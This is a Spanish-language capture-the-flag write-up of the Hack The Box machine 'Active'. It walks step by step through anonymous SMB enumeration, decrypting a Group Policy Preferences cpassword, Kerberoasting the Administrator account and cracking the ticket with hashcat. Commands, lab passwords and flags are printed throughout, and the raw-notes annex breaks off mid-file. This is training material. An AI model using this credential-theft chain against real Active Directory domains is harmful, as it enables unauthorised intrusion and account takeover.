

Máquina Active resuelta en fecha 2026-04-17

Informe técnico completo
para archivo y consulta
documental

MÁQUINA

Active

PLATAFORMA

Hack The Box

AUTORÍA DEL LABORATORIO

**Ramon Santos Sabarich /
r4ms4nt**



**Ramon Santos
Sabarich**
r4ms4nt

HTB Active — Explotación completa ordenada

Documento maestro reconstruido y ordenado a partir de las notas originales del laboratorio.

Criterio aplicado:

- no se borra nada del material original
- se reorganiza el caso por fases
- se añaden notas de precisión cuando ayudan a evitar confusiones futuras
- al final se conserva el **texto original íntegro** como anexo, para no perder trazabilidad

Nota de precisión importante

En este laboratorio aparecen dos líneas técnicas muy relevantes y conviene dejarlas bien separadas de cara al futuro:

- **Exposición inicial validada:** acceso anónimo a recursos SMB de un controlador de dominio.
- **Hallazgo crítico posterior:** `Groups.xml` con `cpassword`, encajando con el problema histórico de **Group Policy Preferences** asociado a **MS14-025 / CVE-2014-1812**.
- **Escalada posterior validada:** uso de una **cuenta de dominio válida** para solicitar un TGS y realizar **Kerberoasting** contra `Administrator`.

También conviene fijar este matiz:

- en este caso, la línea explotada en Kerberos fue **Kerberoasting**, no **AS-REP Roasting**;
- la razón es que ya existía una **cuenta válida de dominio** (`SVC_TGS`) con la que consultar SPNs y solicitar el TGS correspondiente.

Índice

1. Preparación del laboratorio y arranque del caso
2. Reconocimiento inicial y perfil de controlador de dominio
3. Resolución local del dominio
4. Enumeración SMB anónima

5. Revisión del share Replication
6. Hallazgo de Groups.xml y exposición GPP
7. Descifrado de cpassword y recuperación de credencial
8. Validación de SVC_TGS sobre SMB
9. Obtención de user.txt
10. Enumeración Kerberos y detección de SPN útil
11. Solicitud de TGS para Administrator
12. Crackeo offline del hash Kerberos
13. Validación de la credencial de Administrator
14. Obtención de root.txt
15. Resumen técnico final
16. Anexo A — Notas originales íntegras

1. Preparación del laboratorio y arranque del caso

Contexto de inicio

Se parte de un laboratorio de **Hack The Box** con la VPN ya conectada y se utiliza un script propio de arranque llamado `Inici-HTB`, pensado para preparar el entorno base de cualquier máquina.

Funciones del script de arranque

- fijar el objetivo en Polybar mediante `settarget`
- crear la estructura base del caso con `mktm`
- generar carpetas de trabajo
- comprobar conectividad con `ping`
- intentar identificación rápida con `whichSystem.py`
- lanzar `nmap -p-`
- extraer puertos abiertos
- lanzar `nmap -sCV` sobre los puertos detectados
- generar resumen inicial y siguiente paso

Estructura generada

```
ACTIVE.  
├─ content  
├─ exploits  
├─ nmap  
│   └─ allPorts  
│   └─ extractPorts.txt
```

```
| | nmap_tcp_services.txt
| | ping.txt
| | whichSystem.txt
| notes
| | 00_resumen_inicial.md
| | 01_siguiente_paso.txt
```

Ejecución del script

```
Inici-HTB ACTIVE 10.129.22.210
```

2. Reconocimiento inicial y perfil de controlador de dominio

Conectividad básica

```
PING 10.129.22.210 (10.129.22.210) 56(84) bytes of data.
64 bytes from 10.129.22.210: icmp_seq=1 ttl=127 time=50.4 ms
```

Interpretación útil: la conectividad está confirmada y el TTL apunta a un sistema Windows.

Identificación rápida

```
10.129.22.210 (ttl -> 127): Windows
```

Escaneo completo de puertos

Se detectan, entre otros, los siguientes puertos abiertos:

- 53/tcp → DNS
- 88/tcp → Kerberos
- 135/tcp → MSRPC
- 139/tcp → NetBIOS
- 389/tcp → LDAP
- 445/tcp → SMB
- 464/tcp → kpasswd
- 593/tcp → RPC over HTTP
- 636/tcp → LDAPS
- 3268/tcp → Global Catalog LDAP
- 3269/tcp → Global Catalog LDAPS
- 5722/tcp → DFSR / RPC
- 9389/tcp → ADWS
- 47001/tcp → WinRM / HTTPAPI

- varios puertos altos MSRPC

Escaneo de servicios

El `nmap -sCV` deja un conjunto de señales muy claro:

```
389/tcp open ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3268/tcp open ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
47001/tcp open http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
```

Conclusión de la fase

La máquina presenta desde el principio un perfil claro de **Controlador de Dominio Active Directory**:

- dominio identificado: `active.htb`
- nombre del host: `DC`
- superficie dominante: **AD / SMB / LDAP / Kerberos**
- `SMB signing enabled and required`

3. Resolución local del dominio

Dado que el dominio ya aparece validado durante la enumeración inicial, se añade la entrada al archivo `/etc/hosts`.

Añadir `active.htb`

```
echo '10.129.22.210 active.htb' | sudo tee -a /etc/hosts
```

Comprobación de resolución

```
getent hosts active.htb
```

Resultado:

```
10.129.22.210 active.htb
```

Objetivo de este paso: trabajar contra el nombre de dominio real de la máquina, no solo contra la IP.

4. Enumeración SMB anónima

Con la resolución ya fijada, se prueba si el DC expone recursos SMB accesibles sin credenciales.

Enumeración de shares

```
smbclient -L //active.htb -N
```

Resultado observado

Anonymous login successful

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

El error final sobre `SMB1` no invalida el hallazgo principal. Lo importante es que **hay sesión nula útil** y que se pueden listar recursos compartidos.

Hallazgo dominante de esta fase

El share más interesante pasa a ser:

- `Replication`

porque su nombre, en un entorno de controlador de dominio, apunta a contenido potencialmente muy valioso.

5. Revisión del share `Replication`

Enumeración recursiva

```
smbclient //active.htb/Replication -N -c 'recurse;ls'
```

Hallazgos relevantes

Dentro del share aparecen rutas especialmente importantes:

- `active.htb\Policies`
- `active.htb\DfsrPrivate`
- `active.htb\scripts`

Y, dentro de `Policies`, se observa una ruta claramente útil:

```
active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
```

También quedan anotados otros artefactos secundarios:

- `Registry.pol`
- `GptTmpl.inf`

Interpretación útil

La combinación de:

- acceso anónimo SMB,
- share `Replication`,
- políticas de dominio visibles,
- y presencia de `Groups.xml`

convierte esta ruta en la mejor candidata inmediata del caso.

6. Hallazgo de `Groups.xml` y exposición GPP

Descarga del archivo

```
cd /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content && smbclient //active.htb/Replication -N -c 'cd "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups"; get Groups.xml'
```

Contenido observado

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-
AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSH0whZLTjt/
QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1"
neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Conclusión técnica

Este hallazgo encaja de forma muy fuerte con el problema histórico de **Group Policy Preferences passwords**, documentado en **MS14-025 / CVE-2014-1812**.

Lo importante de este fichero no es solo que exista, sino que contiene:

- un usuario de dominio: `active.htb\SVC_TGS`
- un valor `cpassword`

Ese `cpassword` pasa a ser el hallazgo dominante del caso.

7. Descifrado de `cpassword` y recuperación de credencial

Descifrado con `gpp-decrypt`

```
gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NgLVmQ
```

Resultado

```
GPPstillStandingStrong2k18
```

Credencial obtenida

- usuario: `active.htb\SVC_TGS`
- contraseña: `GPPstillStandingStrong2k18`

Con esto ya no se está solo ante una configuración expuesta, sino ante una **credencial real** recuperada a partir de la política de grupo.

8. Validación de `SVC_TGS` sobre SMB

Comprobación de permisos con `smbmap`

```
smbmap -H 10.129.22.210 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
```

Resultado observado

Disk	Permissions	Comment
----	-----	-----
ADMIN\$	NO ACCESS	Remote Admin
C\$	NO ACCESS	Default share
IPC\$	NO ACCESS	Remote IPC
NETLOGON	READ ONLY	Logon server share
Replication	READ ONLY	
SYSVOL	READ ONLY	Logon server share
Users	READ ONLY	

Interpretación útil

La cuenta `SVC_TGS` no es administrativa, pero sí permite:

- leer `NETLOGON`
- leer `Replication`
- leer `SYSVOL`
- leer `Users`

La mejor derivación inmediata es revisar el perfil del propio usuario dentro de `Users`.

Acceso con `smbclient`

```
smbclient //10.129.22.210/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18
```

Navegación interna

```
smb: \> ls
...
SVC_TGS                                D          0  Sat Jul 21 17:16:32 2018
```

```
smb: \> cd SVC_TGS
smb: \SVC_TGS\> ls
...
Desktop                                D          0  Sat Jul 21 17:14:42 2018
```

9. Obtención de `user.txt`

Acceso al escritorio de `SVC_TGS`

```
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> ls
user.txt                                AR          34  Fri Apr 17 16:47:36 2026
```

Descarga y lectura

```
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt
```

```
smb: \SVC_TGS\Desktop\> !cat user.txt
bed05b723496f102483aaf7bebac6238
```

Flag de usuario

```
bed05b723496f102483aaf7bebac6238
```

Observación metodológica

Aquí se verifica un detalle importante del caso:

- `smbclient` permite navegar por shares SMB;
- no es una shell de sistema;
- para leer archivos, el flujo útil fue:
 1. `get <archivo>`
 2. `!cat <archivo>`

10. Enumeración Kerberos y detección de SPN útil

Con una cuenta de dominio válida ya disponible, la siguiente línea de trabajo lógica pasa a ser Kerberos.

Enumeración de SPNs

```
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210
```

Resultado observado

ServicePrincipalName	Name	MemberOf	Delegation
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 21:06:40.351723 2026-04-17 16:47:38.977345

Hallazgo dominante

Existe un SPN asociado a:

- Administrator

Esto abre una vía clara de **Kerberoasting**.

11. Solicitud de TGS para Administrator

Petición específica del TGS

```
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210 -request-user Administrator
```

Resultado relevante

La herramienta devuelve una línea en formato:

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...
```

Ese resultado confirma que se ha obtenido un **TGS válido para crackeo offline**.

Conservación del hash

El hash se guarda en un fichero local para trabajar con trazabilidad:

- /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/administrator_tgs.hash

12. Crackeo offline del hash Kerberos

Comprobación del modo de Hashcat

```
hashcat --help | grep 13100
```

Resultado:

```
13100 | Kerberos 5, etype 23, TGS-REP
```

Comprobación de rockyou

```
ls -lh /usr/share/wordlists/rockyou.txt /usr/share/wordlists/rockyou.txt.gz 2>/dev/null
```

Resultado:

```
/usr/share/wordlists/rockyou.txt  
/usr/share/wordlists/rockyou.txt.gz
```

Crackeo del hash

```
hashcat -m 13100 -a 0 /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/administrator_tgs.hash /usr/share/wordlists/rockyou.txt
```

Resultado observado

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...:Ticketmaster1968
```

Y el estado final de Hashcat fue:

```
Status.....: Cracked  
Recovered.....: 1/1 (100.00%)
```

Credencial obtenida

- usuario: Administrator
- contraseña: Ticketmaster1968

Con esto queda cerrada con éxito la fase de **Kerberoasting**.

13. Validación de la credencial de Administrator

Acceso administrativo a C\$

```
smbclient //10.129.22.210/C$ -U active.htb\Administrator%Ticketmaster1968
```

Resultado observado

```
smb: \> ls
$Recycle.Bin           DHS          0
Documents and Settings DHSrn        0
pagefile.sys           AHS 5190320128
PerfLogs               D           0
Program Files          DR          0
Program Files (x86)    DR          0
ProgramData            DHn         0
Recovery               DHSn        0
System Volume Information DHS          0
Users                  DR          0
Windows                D           0
```

Conclusión de la fase

La credencial de `Administrator` no solo está crackeada: también queda **validada sobre SMB con acceso real al recurso administrativo c\$**.

Navegación al escritorio de `Administrator`

```
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop> ls
root.txt                AR          34  Fri Apr 17 16:47:36 2026
```

14. Obtención de `root.txt`

Descarga y lectura

```
smb: \Users\Administrator\Desktop> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt
```

```
smb: \Users\Administrator\Desktop> !cat root.txt
7aab38b5d931524e961a3a8a44d7a2ac
```

Flag de root

```
7aab38b5d931524e961a3a8a44d7a2ac
```

Con esto queda completada la resolución de la máquina.

15. Resumen técnico final

Cadena completa validada

1. Arranque del laboratorio con `Inici-HTB`

2. Enumeración inicial y perfil claro de **Domain Controller**
3. Resolución local de `active.htb`
4. Enumeración SMB anónima
5. Descubrimiento del share `Replication`
6. Hallazgo de `Groups.xml` dentro de políticas de dominio
7. Extracción de `cpassword`
8. Descifrado con `gpp-decrypt`
9. Recuperación de la credencial `SVC_TGS`
10. Validación de `SVC_TGS` sobre SMB
11. Acceso al share `Users`
12. Obtención de `user.txt`
13. Enumeración Kerberos con `GetUserSPNs`
14. Detección de SPN asociado a `Administrator`
15. Solicitud del TGS de `Administrator`
16. Crackeo offline del hash con `hashcat -m 13100`
17. Recuperación de la contraseña `Ticketmaster1968`
18. Acceso administrativo a `C$`
19. Descarga de `root.txt`
20. Obtención de la flag final

Flags

- `user.txt` → `bed05b723496f102483aaf7bebac6238`
- `root.txt` → `7aab38b5d931524e961a3a8a44d7a2ac`

Lección principal del caso

La máquina **Active** deja una cadena muy limpia y muy reutilizable:

- un **acceso anónimo a SMB** permite revisar políticas replicadas,
- una **Group Policy Preference** expone un `cpassword`,
- esa credencial da acceso útil al dominio,
- la cuenta resultante permite **Kerberoasting**,
- y el crackeo offline del TGS termina en una **credencial administrativa de dominio**.

Es un caso muy bueno para fijar esta relación:

SMB anónimo → GPP expuesto → cuenta de dominio → Kerberoasting → Administrator → root flag

16. Anexo A — Notas originales íntegras

En este anexo se incluye la transcripción íntegra del registro técnico utilizado durante la resolución, mantenida por razones de trazabilidad.

Iniciamos el laboratorio de trabajo de la máquina ACTIVE de HTB.

Conectados a la VPN de HTB, arrancamos con un script que me he generado para el inicio de cualquier máquina de HTB, este script hace lo siguiente:

- fija objetivo con settarget a la polybar de mi escritorio
- crea entorno de máquina con mktm (otro script de elaboración propia) que genera lo siguiente: <Maquina>/ ├── content/ ├── exploits/ ├── nmap/ └── notes/
- genera estructura de carpetas
- hace ping
- intenta detectar sistema con whichSystem.py
- lanza nmap -p-
- extrae puertos abiertos
- lanza nmap -sCV sobre esos puertos
- genera resumen inicial y siguiente paso

Ejecutamos el script de inicio y obtenemos lo siguiente:

```
ACTIVE. ├── content ├── exploits ├── nmap | ├── allPorts | ├── extractPorts.txt  
| ├── nmap_tcp_services.txt | ├── ping.txt | └── whichSystem.txt └── notes  
└── 00_resumen_inicial.md └── 01_siguiente_paso.txt
```

➤ Inici-HTB ACTIVE 10.129.22.210 [] *Fijando objetivo en Polybar con settarget []*

Preparando directorio base [*] Comprobando conectividad inicial PING 10.129.22.210 (10.129.22.210) 56(84) bytes of data. 64 bytes from 10.129.22.210: icmp_seq=1 ttl=127 time=50.4 ms

--- 10.129.22.210 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 50.357/50.357/50.357/0.000 ms [*] Intentando identificación rápida con whichSystem.py

10.129.22.210 (ttl → 127): Windows

[*] Lanzando escaneo completo de puertos [sudo] contraseña para r4mon: Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. Starting Nmap 7.94SVN (<https://nmap.org>) at 2026-04-17 16:57 CEST Initiating SYN Stealth Scan at 16:57 Scanning 10.129.22.210 [65535 ports] Discovered open port

135/tcp on 10.129.22.210 Discovered open port 139/tcp on 10.129.22.210 Discovered open port 445/tcp on 10.129.22.210 Discovered open port 53/tcp on 10.129.22.210 Discovered open port 3268/tcp on 10.129.22.210 Discovered open port 49169/tcp on 10.129.22.210 Discovered open port 9389/tcp on 10.129.22.210 Discovered open port 47001/tcp on 10.129.22.210 Discovered open port 3269/tcp on 10.129.22.210 Discovered open port 49158/tcp on 10.129.22.210 Discovered open port 49152/tcp on 10.129.22.210 Discovered open port 464/tcp on 10.129.22.210 Discovered open port 49153/tcp on 10.129.22.210 Discovered open port 593/tcp on 10.129.22.210 Discovered open port 49154/tcp on 10.129.22.210 Discovered open port 88/tcp on 10.129.22.210 Discovered open port 49167/tcp on 10.129.22.210 Discovered open port 49157/tcp on 10.129.22.210 Discovered open port 389/tcp on 10.129.22.210 Discovered open port 49155/tcp on 10.129.22.210 Discovered open port 636/tcp on 10.129.22.210 Discovered open port 5722/tcp on 10.129.22.210 Discovered open port 49162/tcp on 10.129.22.210 Completed SYN Stealth Scan at 16:57, 13.72s elapsed (65535 total ports) Nmap scan report for 10.129.22.210 Host is up, received user-set (0.046s latency). Scanned at 2026-04-17 16:57:26 CEST for 14s Not shown: 65049 closed tcp ports (reset), 463 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5722/tcp open msdfs syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49152/tcp open unknown syn-ack ttl 127 49153/tcp open unknown syn-ack ttl 127 49154/tcp open unknown syn-ack ttl 127 49155/tcp open unknown syn-ack ttl 127 49157/tcp open unknown syn-ack ttl 127 49158/tcp open unknown syn-ack ttl 127 49162/tcp open unknown syn-ack ttl 127 49167/tcp open unknown syn-ack ttl 127 49169/tcp open unknown syn-ack ttl 127

Read data files from: /usr/bin/./share/nmap Nmap done: 1 IP address (1 host up) scanned in 13.88 seconds Raw packets sent: 71415 (3.142MB) | Rcvd: 65072 (2.603MB) [] *Extrayendo puertos abiertos* [] Puertos abiertos detectados:

53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49167,49169,49155,49157,49158,49162,49167,49169

[*] Lanzando escaneo de servicios Starting Nmap 7.94SVN (<https://nmap.org>) at 2026-04-17 16:57 CEST Nmap scan report for 10.129.22.210 Host is up (0.047s latency).

PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server

time: 2026-04-17 14:57:47Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5722/tcp open msrpc Microsoft Windows RPC 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49162/tcp open msrpc Microsoft Windows RPC 49167/tcp open msrpc Microsoft Windows RPC 49169/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results: | smb2-security-mode: | 2:1:0: |_ Message signing enabled and required | smb2-time: | date: 2026-04-17T14:58:42 |_ start_date: 2026-04-17T14:46:36

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> . Nmap done: 1 IP address (1 host up) scanned in 70.34 seconds [] *Resumen inicial generado en: /home/r4mon/pentest/targets/HTB/easy/ACTIVE/notes/00_resumen_inicial.md* [] Siguiente paso generado en: /home/r4mon/pentest/targets/HTB/easy/ACTIVE/notes/01_siguiente_paso.txt [*] Flujo inicial completado

Hechos verificados:

- La conectividad base está confirmada: el objetivo 10.129.22.210 respondió a ping con TTL 127.
- La identificación rápida y nmap apuntan a Windows.
- El escaneo muestra un conjunto de puertos muy típico de Active Directory: 53, 88, 389, 445, 464, 636, 3268, 3269, 9389, 47001 y varios MSRPC altos.
- nmap -sCV identifica el dominio active.htb y el host DC.
- LDAP responde como Microsoft Windows Active Directory LDAP con dominio active.htb.
- SMB tiene signing enabled and required.
- Se ha generado correctamente la estructura del caso, los ficheros de nmap y las notas iniciales.

Asumimos que:

- La máquina es, con alta probabilidad, un controlador de dominio.
- La rama principal más lógica ahora mismo es enumeración Windows / AD, no web.
- WinRM en 47001/tcp queda anotado, pero todavía no hay evidencia de acceso útil.

Creo que toca tratar la máquina como entorno AD desde el principio.

Añadimos la entrada de active.htb en /etc/hosts.

```
> echo '10.129.22.210 active.htb' | sudo tee -a /etc/hosts [sudo] contraseña para r4mon: 10.129.22.210 active.htb
```

El siguiente paso único es comprobar la resolución local del nombre.

```
> getent hosts active.htb 10.129.22.210 active.htb
```

Vamos a probar si active.htb expone shares SMB accesibles sin credenciales.

Anonymous login successful

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

Reconnecting with SMB1 for workgroup listing. do_connect: Connection to active.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available

Lo que extraigo de esta salida es:

- Hay sesión nula/anónima útil en SMB.
- El share Replication destaca inmediatamente y pasa a ser el hallazgo dominante.

Vamos a exprimir Replication primero.

```
> smbclient //active.htb/Replication -N -c 'recurse;ls' Anonymous login successful . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 active.htb D 0 Sat Jul 21 12:37:44 2018
```

```
\active.htb . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 DfsrPrivate DHS 0 Sat Jul 21 12:37:44 2018 Policies D 0 Sat Jul 21 12:37:44 2018 scripts D 0 Wed Jul 18 20:48:57 2018
```

\active.htb\DfsrPrivate . DHS 0 Sat Jul 21 12:37:44 2018 .. DHS 0 Sat Jul 21 12:37:44 2018 ConflictAndDeleted D 0 Wed Jul 18 20:51:30 2018 Deleted D 0 Wed Jul 18 20:51:30 2018 Installing D 0 Wed Jul 18 20:51:30 2018

\active.htb\Policies . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 21 12:37:44 2018 {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 21 12:37:44 2018

\active.htb\scripts . D 0 Wed Jul 18 20:48:57 2018 .. D 0 Wed Jul 18 20:48:57 2018

\active.htb\DfsrPrivate\ConflictAndDeleted . D 0 Wed Jul 18 20:51:30 2018 .. D 0 Wed Jul 18 20:51:30 2018

\active.htb\DfsrPrivate\Deleted . D 0 Wed Jul 18 20:51:30 2018 .. D 0 Wed Jul 18 20:51:30 2018

\active.htb\DfsrPrivate\Installing . D 0 Wed Jul 18 20:51:30 2018 .. D 0 Wed Jul 18 20:51:30 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9} . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GPT.INI A 23 Wed Jul 18 22:46:06 2018 Group Policy D 0 Sat Jul 21 12:37:44 2018 MACHINE D 0 Sat Jul 21 12:37:44 2018 USER D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9} . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GPT.INI A 22 Wed Jul 18 20:49:12 2018 MACHINE D 0 Sat Jul 21 12:37:44 2018 USER D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GPE.INI A 119 Wed Jul 18 22:46:06 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Microsoft D 0 Sat Jul 21 12:37:44 2018 Preferences D 0 Sat Jul 21 12:37:44 2018 Registry.pol A 2788 Wed Jul 18 20:53:45 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\USER . D 0 Wed Jul 18 20:49:12 2018 .. D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Microsoft D 0 Sat Jul 21 12:37:44 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER . D 0 Wed Jul 18 20:49:12 2018 .. D 0 Wed Jul 18 20:49:12 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft .
D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Windows NT D 0 Sat Jul 21
12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences .
D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Groups D 0 Sat Jul 21
12:37:44 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft .
D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Windows NT D 0 Sat Jul 21
12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows
NT . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 SecEdit D 0 Sat Jul 21
12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Groups.xml A 533 Wed Jul
18 22:46:06 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows
NT . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 SecEdit D 0 Sat Jul 21
12:37:44 2018

\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows
NT\SecEdit . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GptTmpl.inf A
1098 Wed Jul 18 20:49:12 2018

\active.htb\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows
NT\SecEdit . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 GptTmpl.inf A
3722 Wed Jul 18 20:49:12 2018

5217023 blocks of size 4096. 279206 blocks available

El share Replication es un recurso de DFSR (Distributed File System Replication) que se utiliza para replicar datos entre controladores de dominio. El hecho de que sea accesible sin autenticación es un hallazgo importante, ya que puede contener información sensible o ser utilizado para escalar privilegios.

- Dentro de Replication, el directorio Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml es especialmente interesante, ya que puede contener información sobre grupos y usuarios del dominio.

- El directorio Policies/{31B2F340-016D-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf también es relevante, ya que puede contener configuraciones de seguridad que podrían ser explotables.

Vamos a ver si en Groups.xml hay algo útil:

```
cd /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content && smbclient //active.htb/Replication -N -c 'cd
```

```
"active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups"
get Groups.xml'
```

```
> cat /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/Groups.xml
```

```
| File: /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/Groups.xml
```

```
1 | <?xml version="1.0" encoding="utf-8"?> 2 | <Groups clsid="{3125E937-
EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-
